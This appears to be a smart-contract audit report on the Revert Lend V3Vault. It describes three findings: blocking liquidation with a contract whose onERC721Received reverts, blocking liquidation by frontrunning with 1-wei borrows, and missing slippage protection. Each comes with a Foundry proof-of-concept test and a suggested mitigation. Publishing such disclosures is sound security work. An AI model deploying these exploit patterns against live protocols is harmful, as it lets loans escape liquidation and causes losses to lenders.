Revert Lend - givn's results

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L1083

Vulnerability details

Description

The protocol allows users to deposit Uniswap LP NFT (token) and borrow against it. If the token loses value, the loan can be liquidated by anyone. At the end of the liquidation process, the token is being returned to its initial owner with safeTransferFrom function call. An issue arrises when the loan initiator is a contract and it intentionally reverts when onERC721Received is being called, this causes the whole tx to revert and the loan is not liquidated.

Root cause

Flow control is given to arbitrary code, which can revert the transaction.

Impact

Malicious users can take loans, which can never be liquidated, causing potentially substantial loss for the protocol.

PoC

1. Create test/integration/LiquidationBlocker.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract LiquidationBlocker {
  address _owner;
  bool _blockTransfer;

  constructor() {
    _owner = msg.sender;
    _blockTransfer = false;
  }

  function setBlockTransfer(bool blockTransfer) public {
    require(_owner == msg.sender, "only owner");
    _blockTransfer = blockTransfer;
  }

  function onERC721Received(address, address, uint256, bytes calldata) external view returns (bytes4) {
    require(!_blockTransfer, "Transfer blocked");
    return bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"));
  }
}

2. Create test/integration/V3VaultLiquidation.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

// base contracts
import "./V3Vault.t.sol";
import "../../src/V3Oracle.sol";
import "../../src/V3Vault.sol";
import "../../src/InterestRateModel.sol";

import "./LiquidationBlocker.sol";

contract V3VaultLiquidation is Test {
  uint256 constant Q32 = 2 ** 32;
  uint256 constant Q96 = 2 ** 96;

  address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;

  IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
  IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
  IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);

  INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
  address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;

  address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
  address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;

  address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
  address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool

  address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
  uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)


  uint256 mainnetFork;
  V3Vault vault;
  InterestRateModel interestRateModel;
  V3Oracle oracle;

  function setUp() external {
    mainnetFork = vm.createFork("https://rpc.ankr.com/eth", 18521658);
    vm.selectFork(mainnetFork);

    interestRateModel = new InterestRateModel(
      0, 
      Q96 * 5 / 100,
      Q96 * 109 / 100,
      Q96 * 80 / 100
    );

    oracle = new V3Oracle(NPM, address(USDC), address(0));
    oracle.setTokenConfig(
      address(USDC),
      AggregatorV3Interface(CHAINLINK_USDC_USD),
      3600 * 24 * 30,
      IUniswapV3Pool(address(0)),
      0,
      V3Oracle.Mode.TWAP,
      0
    );
    oracle.setTokenConfig(
      address(DAI),
      AggregatorV3Interface(CHAINLINK_DAI_USD),
      3600 * 24 * 30, 
      IUniswapV3Pool(UNISWAP_DAI_USDC), 
      60, 
      V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
      50000
    );

    vault = new V3Vault(
      "Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2)
    );

    vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); 
    vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); 
    vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max);

    vault.setLimits(
      0, 
      15 * 1e6, 
      15 * 1e6, 
      12 * 1e6,
      12 * 1e6
    );

    vault.setReserveFactor(0);
  }

  function _deposit(uint256 amount, address account) internal {
    vm.prank(account);
    USDC.approve(address(vault), amount);
    vm.prank(account);
    vault.deposit(amount, account);
  }

  function testBlockLiquidation() public {
    
    _deposit(10 * 1e6, WHALE_ACCOUNT);
    // ignore price difference between Uniswap and Chainlink
    oracle.setMaxPoolPriceDifference(10001);
    
    vm.startPrank(TEST_NFT_ACCOUNT);
    LiquidationBlocker lb = new LiquidationBlocker();
    NPM.transferFrom(TEST_NFT_ACCOUNT, address(lb), TEST_NFT);
    vm.stopPrank();

    vm.startPrank(address(lb));
    NPM.approve(address(vault), TEST_NFT);
    vault.create(TEST_NFT, address(lb));


    ( ,  , 
      uint256 collateralValue, 
      uint256 liquidationCost, 
      uint256 liquidationValue
    ) = vault.loanInfo(TEST_NFT);
    

    vault.borrow(TEST_NFT, collateralValue);
    vm.stopPrank();

    vm.startPrank(TEST_NFT_ACCOUNT);
    lb.setBlockTransfer(true);

    vm.mockCall(
      CHAINLINK_DAI_USD,
      abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
      abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0))
    );
    
    vm.startPrank(WHALE_ACCOUNT);
    (, , collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);
    (uint256 debtShares) = vault.loans(TEST_NFT);
    USDC.approve(address(vault), liquidationCost);
    vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
  }
}

Suggested mitigation

Implement pull over push pattern. When a loan is liquidated, store the token in a mapping and allow the owner to retrieve it at a later point.

Assessed type

ERC721

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L696-L698

Vulnerability details

Description

Users of the protocol can use their Uniswap V3 positions as collateral for a loan. In a situation where this collateral loses value, the loan can be liquidated. However this can only happen if the loan has the same debt shares as when a liquidation tx was submitted. This can easily be exploited by malicious users and prevent liquidation.

Root cause

Strict check for debt shares equality:

if (debtShares != params.debtShares) { 
  revert DebtChanged();
}

Impact

Malicious users can keep their loan being insolvent almost indefinitely. In a volatile situation, this could make liquidation costlier than the potential payoff.

Attack Scenario

1. Malicious user takes out a loan based on an Uniswap LP position.
2. The value of the collateral falls and the loan is now viable for liquidation.
3. Arbitrager sends a tx to liquidate the loan.
4. Malicious user frontruns by borrowing (or repaying) 1 wei.
5. Liquidation reverts.

PoC

In this example the malicious user takes out a loan against 95% of the collateral and then frontruns transactions trying to liquidate the position by borrowing 1 more wei.

Create test/integration/V3VaultLiquidation.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "./V3Vault.t.sol";
import "../../src/V3Oracle.sol";
import "../../src/V3Vault.sol";
import "../../src/InterestRateModel.sol";

import "./LiquidationBlocker.sol";

contract V3VaultLiquidation is Test {
  uint256 constant Q32 = 2 ** 32;
  uint256 constant Q96 = 2 ** 96;

  address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;

  IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
  IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
  IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);

  INonfungiblePositionManager constant NPM = INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
  address PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;

  address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
  address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;

  address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168; // 0.01% pool
  address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640; // 0.05% pool

  address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
  uint256 constant TEST_NFT = 126; // DAI/USDC 0.05% - in range (-276330/-276320)


  uint256 mainnetFork;
  V3Vault vault;
  InterestRateModel interestRateModel;
  V3Oracle oracle;

  function setUp() external {
    mainnetFork = vm.createFork("https://rpc.ankr.com/eth", 18521658);
    vm.selectFork(mainnetFork);

    interestRateModel = new InterestRateModel(
      0, 
      Q96 * 5 / 100,
      Q96 * 109 / 100,
      Q96 * 80 / 100
    );

    oracle = new V3Oracle(NPM, address(USDC), address(0));
    oracle.setTokenConfig(
      address(USDC),
      AggregatorV3Interface(CHAINLINK_USDC_USD),
      3600 * 24 * 30,
      IUniswapV3Pool(address(0)),
      0,
      V3Oracle.Mode.TWAP,
      0
    );
    oracle.setTokenConfig(
      address(DAI),
      AggregatorV3Interface(CHAINLINK_DAI_USD),
      3600 * 24 * 30, 
      IUniswapV3Pool(UNISWAP_DAI_USDC), 
      60, 
      V3Oracle.Mode.CHAINLINK_TWAP_VERIFY,
      50000
    );

    vault = new V3Vault(
      "Revert Lend USDC", "rlUSDC", address(USDC), NPM, interestRateModel, oracle, IPermit2(PERMIT2)
    );

    vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), type(uint32).max); 
    vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), type(uint32).max); 
    vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), type(uint32).max);

    vault.setLimits(
      0, 
      15 * 1e6, 
      15 * 1e6, 
      12 * 1e6,
      12 * 1e6
    );

    vault.setReserveFactor(0);
  }

  function _deposit(uint256 amount, address account) internal {
    vm.prank(account);
    USDC.approve(address(vault), amount);
    vm.prank(account);
    vault.deposit(amount, account);
  }

  function testFrontrunLiquidation() public {
    
    _deposit(10 * 1e6, WHALE_ACCOUNT);
    // ignore price difference between Uniswap and Chainlink
    oracle.setMaxPoolPriceDifference(10001);
    
    vm.startPrank(TEST_NFT_ACCOUNT);
    NPM.approve(address(vault), TEST_NFT);
    vault.create(TEST_NFT, TEST_NFT_ACCOUNT);

    ( ,  , 
      uint256 collateralValue, 
      uint256 liquidationCost, 
      uint256 liquidationValue
    ) = vault.loanInfo(TEST_NFT);
    

    vault.borrow(TEST_NFT, collateralValue * 95 / 100);
    vm.stopPrank();

    vm.mockCall(
      CHAINLINK_DAI_USD,
      abi.encodeWithSelector(AggregatorV3Interface.latestRoundData.selector),
      abi.encode(uint80(0), int256(0), block.timestamp, block.timestamp, uint80(0))
    );
    
    for (uint16 i; i < 1000; ++i) {
      // Prepare to liquidate
      vm.startPrank(WHALE_ACCOUNT);
      (, , collateralValue, liquidationCost, liquidationValue) = vault.loanInfo(TEST_NFT);
      (uint256 debtShares) = vault.loans(TEST_NFT);
      USDC.approve(address(vault), liquidationCost);

      // Frontrun liquidation by changing debt shares
      vm.startPrank(TEST_NFT_ACCOUNT);
      vault.borrow(TEST_NFT, 1);

      // Try to liquidate
      vm.startPrank(WHALE_ACCOUNT);
      vm.expectRevert();
      vault.liquidate(IVault.LiquidateParams(TEST_NFT, debtShares, 0, 0, WHALE_ACCOUNT, ""));
    }
  }
}

Suggested mitigation

Not all debt share changes should prevent liquidation. If debt shares are increased (more is borrowed), the loan should still be liquidated. If debt is being repaid, it has to be over a certain amount delta. This would prevent incessant frontruns and even if they occur - it would repay the loan eventually.

Assessed type

MEV

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L360-L363 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L366-L369 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L372-L375 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L378-L380 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L384-L387 https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L390-L393

Vulnerability details

Description

Judging by the tests and lack of router contract, it seems that EOAs are intended to interact with V3Vault directly. In such situations, the ERC-4626 is clear that the appropriate slippage controls need to be in place to prevent loss of funds.

If implementors intend to support EOA account access directly, they should consider adding an additional function call for deposit/mint/withdraw/redeem with the means to accommodate slippage loss or unexpected deposit/withdrawal limits, since they have no other means to revert the transaction if the exact output amount is not achieved.

Root cause

Missing of slippage protection in protocol entry point - V3Vault.

Impact

Users can interact with the V3Vault and lose value in the process.

PoC

1. Make setUp() function in V3Vault.t.sol virtual.
2. Create file: test/integration/V3VaultSlippage.sol.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "./V3Vault.t.sol";
import "../../src/V3Oracle.sol";
import "../../src/V3Vault.sol";
import "../../src/InterestRateModel.sol";

contract V3VaultSlippage is V3VaultIntegrationTest {

  uint256 constant limit = 100 * 1e6;
  uint256 constant preFund = 10 * 1e6;

  function testUserSlippage() public {
    assertEq(vault.totalSupply(), 0);
    assertEq(vault.debtSharesTotal(), 0);
    assertEq(vault.loanCount(TEST_NFT_ACCOUNT), 0);

    // Setup
    vault.setLimits(
      0, // Min loan size
      limit * 2, // global limit of lent amount
      limit * 2, // global limit of debt amount
      limit, // min daily increasable amount of lent amount
      limit  // min daily increasable amount of debt amount
    );

    uint256 userUSDCStart = 100 * 1e6; // User starts with this much USDC
    uint256 sharesToMint = 3 * 1e6;      // User Will mint this much shares
    vm.startPrank(WHALE_ACCOUNT);
    USDC.transfer(user, userUSDCStart); // fund user
    USDC.transfer(address(this), limit); // fund this contract, as user2

    // Whale deposits 
    USDC.approve(address(vault), preFund);
    assertEq(vault.deposit(preFund, WHALE_ACCOUNT), preFund);
    assertEq(vault.balanceOf(WHALE_ACCOUNT), preFund);
    vm.warp(block.timestamp + 3600 * 24); // Next day

    // User previews deposit
    vm.startPrank(user);
    uint256 preview = vault.previewMint(sharesToMint);
    console.log("Amount needed: ", preview);
    assertEq(preview, sharesToMint);
    vm.stopPrank();

    // Another EOA borrows before user deposits
    vm.warp(block.timestamp + 5);
    _setupBasicLoan(true);

    // User deposits 
    vm.warp(block.timestamp + 5);
    vm.startPrank(user);
    USDC.approve(address(vault), userUSDCStart);
    uint256 usedAssets = vault.mint(sharesToMint, user);
    console.log("Actually used amount: ", usedAssets);
    assertEq(usedAssets, preview); 
  }
}

Suggested mitigation

Create a router contract that would provide slippage protection. Alternatively, create function variants of the one mentioned above that provide slippage protection.

Assessed type

ERC4626